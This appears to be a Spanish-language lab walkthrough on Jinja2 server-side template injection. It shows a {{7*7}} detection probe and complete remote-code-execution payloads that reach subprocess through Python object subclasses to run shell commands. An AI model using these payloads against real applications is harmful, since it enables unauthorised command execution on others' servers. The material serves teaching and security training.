Jinja2 es un motor de plantilla popular para Python, reconocido por su flexibilidad y eficiencia. Es usado ampliamente en aplicaciones web para renderizar contenido dinámico ya que permite incrustar expresiones "como de Python" en el HTML. Aunque Jinja2 acelera el desarrollo y facilita la separación de la presentaciñon de la lógica de negocio, sus capacidades de plantillaje pueden introducir riesgos de seguridad importantes.
Como permite la ejecución de expresiones de Python en las plantillas, el riesgo de seguridad suele surgir de prácticas de programación inseguras que permiten al input del usuario ejecutarse en varias plantillas. La vulnerabilidad no es inherente de Jinja2 sino de cómo los desarrolladores manejan el input en sus plantillas.
Puntos Clave de Vulnerabilidad
- Evaluación de Expresión: Jinja2 evalúa expresiones con
{{ }}, lo que puede ejecutar código arbitrario Python si se construye maliciosamente. - Herencia de Plantilla e Importes: Las funcionalidades avanzadas como la herencia de plantilla y los importes macro pueden ser erróneamente utilizados para ejecutar código que no debería.
Explotación
Antes de construir el payload, es crucial asegurarse de que la aplicación usa Jinja2, por lo que iremos a http://ssti.thm:8002/jinja2/ e introduciremos sintaxis de Jinja2 como {{7*7}} para comprobar el procesado. Si sale 49, eso significa que es Jinja2.

Una vez confirmado el uso de Jinja2, podemos usar el payload {{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}.
Debajo una explicación del payload:
-
"".__class__.__mro[1]: Accede a la clase delobject, la superclase de todas las clases de Python. -
__subclasses__(): Lista todas las subclases deobjecty[157]suele ser el índice para la clasesubprocess.Popen(aunque este índice puede variar y debería ser comprobado en el entorno objetivo).

-
El siguiente método encadena dinámicamente el importe y usa el módulo
subprocesspara ejecutar el comandols, capturando su output.
Por qué check_output('ls -lah') No Funciona
Cuando usamos check_output('ls -lah'), estamos pasando un comando entero con sus argumentos como una string. Esta no es la manera recomendada de usar check_output porque no parsea la string en un comando y sus argumentos separados sino que trata todo como un comando entero.
Este método de pasar los argumentos puede llevar a vulnerabilidades de inyección en la shell si se concatenan cadenas de input de usuario directamente a la string de comandos. Requiriendo que los comandos y sus argumentos sean pasados como listas, check_output minimiza este riesgo.
Entendiendo el Uso de check_output
La función check_output está diseñada para mejorar la seguridad separando el comando de sus argumentos, lo que ayuda a revenir ataques de inyección shell. Aquí está la sintaxis general:
subprocess.check_output([command, arg1, arg2])
- command: String que especifica el comando a ejecutar.
- arg1, arg2,... : Argumentos adicionales que deberían ser pasados al comando.
Uso Correcto de check_output
Para ejecutar el comando ls correctamente con opciones usando check_output, deberíamos pasarle el cmando y sus argumentos como elementos separados en una lista:
subprocess.check_output(['ls', '-lah'])
La lista ['ls', '-lah'] contiene el comando ls y las opciones -lah. Que estén separados asegura que cada parte se maneja correctamente. Por lo que el payload final es:
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}

